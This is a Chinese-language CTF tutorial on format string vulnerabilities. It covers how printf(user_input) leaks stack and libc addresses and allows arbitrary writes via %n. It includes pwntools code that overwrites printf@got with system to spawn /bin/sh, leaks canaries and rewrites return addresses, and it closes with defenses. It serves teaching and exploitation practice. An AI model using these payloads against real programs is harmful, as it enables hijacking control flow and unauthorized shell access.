Pwn fmtstr
攻击原理
格式化字符串漏洞概述
格式化字符串漏洞(Format String Vulnerability) 是一种常见的漏洞类型,主要出现在使用格式化输出函数(如 printf、sprintf、fprintf 等)时,如果用户输入直接作为格式化字符串参数,攻击者可以通过构造特殊的格式化字符串来实现内存泄露和任意地址写。
漏洞产生原因
正常情况下,格式化函数应该这样使用:
1 | printf("%s", user_input); // 正确:格式化字符串和参数分离 |
但存在漏洞的代码可能是:
1 | printf(user_input); // 错误:用户输入直接作为格式化字符串 |
当用户输入包含格式化字符(如 %x、%p、%s、%n)时,程序会按照格式化字符串的规则解析参数,导致安全问题。
格式化字符串的栈布局
当调用 printf(format, arg1, arg2, ...) 时,参数在栈上的布局如下(32位系统):
1 | 高地址 |
关键点:格式化字符串函数会从栈上读取参数,如果格式化字符串中指定的参数数量超过实际提供的参数数量,函数会继续从栈上读取数据。
泄露内存的原理
使用 %x、%p、%s 泄露
1 | printf("%x"); // 没有提供参数,会从栈上读取4字节并打印 |
示例:
1 | char user_input[100]; |
64位系统注意:前6个参数通过寄存器传递(rdi, rsi, rdx, rcx, r8, r9),格式化字符串在 rdi,第一个参数在 rsi。要泄露栈上的值,需要使用 %7$p 这样的位置参数。
任意地址写的原理
%n 系列格式化字符
-
%n:将已输出的字符数写入到对应参数指向的地址(32位写入4字节,64位写入8字节)
-
%hn:写入2字节(half word)
-
%hhn:写入1字节(half half word)
示例:
1 | int count; |
利用 %n 实现任意地址写
通过构造格式化字符串,可以:
-
控制写入的地址(通过栈上的某个值)
-
控制写入的值(通过控制输出的字符数)
32位系统示例:
1 | char format[100]; |
关键技巧:
-
使用位置参数(如
%10$n)指定要写入的地址 -
使用
%c或%x控制输出的字符数 -
对于大数值,可以分多次写入(先写低字节,再写高字节)
64位系统的特殊处理
64位系统中,前6个参数通过寄存器传递:
-
rdi:格式化字符串 -
rsi:第一个参数 -
rdx:第二个参数 -
rcx:第三个参数 -
r8:第四个参数 -
r9:第五个参数 -
第7个参数开始才在栈上
泄露栈上的值:
1 | printf("%7$p"); // 泄露第7个参数(栈上的第一个值) |
写入栈上的地址:
1 | // 需要将目标地址放在栈上(第7个参数位置) |
攻击流程
-
泄露内存:
- 使用
%p、%x泄露栈上的值 - 使用
%s泄露指针指向的内容 - 泄露关键地址(如 libc 地址、栈地址)
- 使用
-
任意地址写:
- 构造格式化字符串,将目标地址放在栈上
- 使用
%n系列格式化字符写入值 - 可以修改 GOT 表、函数指针等
-
获取 shell:
- 修改 GOT 表项(如将
printf@got改为system) - 修改返回地址
- 修改函数指针
- 修改 GOT 表项(如将
常见利用场景
-
泄露 libc 地址:通过
%s泄露 GOT 表中的函数地址 -
修改 GOT 表:将
printf@got改为system,然后传入/bin/sh -
修改返回地址:直接修改栈上的返回地址
-
修改函数指针:修改程序中的函数指针,劫持控制流
例题
思路总结
格式化字符串漏洞的利用主要分为两个方向:泄露内存和任意地址写。核心思路是通过构造特殊的格式化字符串,利用格式化函数的参数解析机制实现攻击。
攻击步骤
-
识别漏洞
- 寻找
printf、sprintf、fprintf等格式化函数 - 检查用户输入是否直接作为格式化字符串参数
- 使用
%p、%x等测试是否能泄露栈上的值
- 寻找
-
泄露关键信息
- 泄露栈地址(用于后续写入)
- 泄露 libc 地址(计算 system、/bin/sh 地址)
- 泄露程序基地址(如果开启 PIE)
-
构造任意地址写
- 确定目标地址(GOT 表、返回地址等)
- 构造格式化字符串实现写入
- 执行攻击(如调用 system)
泄露内存的方法
32位系统
1 | # 泄露栈上的值 |
64位系统
1 | # 前6个参数在寄存器中,从第7个开始才在栈上 |
实际利用示例
1 | from pwn import * |
任意地址写的方法
使用 %n 写入
%n 系列格式化字符:
-
%n:写入4字节(32位)或8字节(64位) -
%hn:写入2字节 -
%hhn:写入1字节
32位系统写入
1 | # 方法1:直接写入(小数值) |
64位系统写入
1 | # 64位需要将目标地址放在栈上 |
使用 pwntools 的 fmtstr_payload
1 | from pwn import * |
关键技巧
-
确定偏移位置
1
2
3
4
5
6
7
8# 方法1:使用 %p 测试
for i in range(1, 20):
payload = f"%{i}$p".encode()
io.sendline(payload)
print(f"{i}: {io.recvline()}")
# 方法2:使用 pwntools
# 在 gdb 中查看栈布局,确定目标地址的位置 -
泄露地址的技巧
1
2
3
4
5
6
7
8
9
10
11# 泄露多个地址
payload = "%7$p.%8$p.%9$p"
# 泄露字符串
payload = "%7$s" # 需要确保第7个参数是有效地址
payload = payload.ljust(8, b'\x00') + p32(target_addr)
# 泄露并解析
io.sendline(payload)
leaked = io.recvuntil(b'\n', drop=True)
addr = u32(leaked[:4]) -
写入大数值的技巧
1
2
3
4
5
6
7
8
9
10
11
12# 对于大数值(如地址),需要分多次写入
# 32位:分2次写入(每次2字节)
# 64位:分多次写入(每次1字节或2字节)
def write_value(offset, addr, value, size='int'):
if size == 'int':
# 32位:分2次写入
payload = f"%{value & 0xffff}c%{offset}$hn".encode()
payload = payload.ljust(8, b'\x00') + p32(addr)
payload += f"%{(value >> 16) & 0xffff}c%{offset+1}$hn".encode()
payload = payload.ljust(16, b'\x00') + p32(addr + 2)
return payload -
避免输出过多字符
1
2
3# 使用 %hn 或 %hhn 减少输出
# 先写入低字节,再写入高字节
# 使用已输出的字符数(通过调整顺序) -
修改 GOT 表的完整流程
1
2
3
4
5
6
7
8
9
10
11
12
13
14# 1. 泄露 libc 地址
payload = b'%8$s'
payload = payload.ljust(8, b'\x00') + p32(elf.got['printf'])
io.sendline(payload)
printf_addr = u32(io.recv(4))
libc_base = printf_addr - libc.symbols['printf']
system_addr = libc_base + libc.symbols['system']
# 2. 修改 GOT 表
payload = fmtstr_payload(7, {elf.got['printf']: system_addr})
io.sendline(payload)
# 3. 触发 system
io.sendline(b'/bin/sh')
常见利用场景
-
泄露 libc 并修改 GOT 表
1
2
3
4
5# 泄露 printf@got
payload = b'%8$s' + p32(elf.got['printf'])
# 修改 printf@got 为 system
payload = fmtstr_payload(7, {elf.got['printf']: system_addr})
# 调用 printf("/bin/sh") 实际执行 system("/bin/sh") -
泄露栈地址并修改返回地址
1
2
3
4# 泄露栈地址
payload = "%7$p"
# 计算返回地址位置
# 修改返回地址为 system -
泄露 canary
1
2
3# canary 通常在栈上的固定位置
payload = "%23$p" # 假设 canary 在第23个参数位置
# 泄露后用于绕过栈保护 -
修改函数指针
1
2# 如果程序中有函数指针,可以修改它
payload = fmtstr_payload(7, {func_ptr_addr: target_addr})
常见问题
-
偏移位置不确定:使用循环测试不同位置,或使用 gdb 查看栈布局
-
写入值太大:分多次写入,使用 %hn 或 %hhn
-
输出过多导致程序崩溃:减少输出字符数,使用位置参数
-
64位系统参数位置:前6个在寄存器,从第7个开始在栈上
-
地址包含 \x00:调整 payload 顺序,或使用其他方法绕过
防护措施
-
使用正确的格式化函数调用:
printf("%s", user_input)而不是printf(user_input) -
格式化字符串检查:过滤或转义格式化字符
-
使用安全的替代函数:如
puts、fputs等
工具推荐
-
pwntools:
fmtstr_payload()自动构造 payload -
gdb:查看栈布局,确定偏移位置
-
IDA/Ghidra:静态分析,定位漏洞点
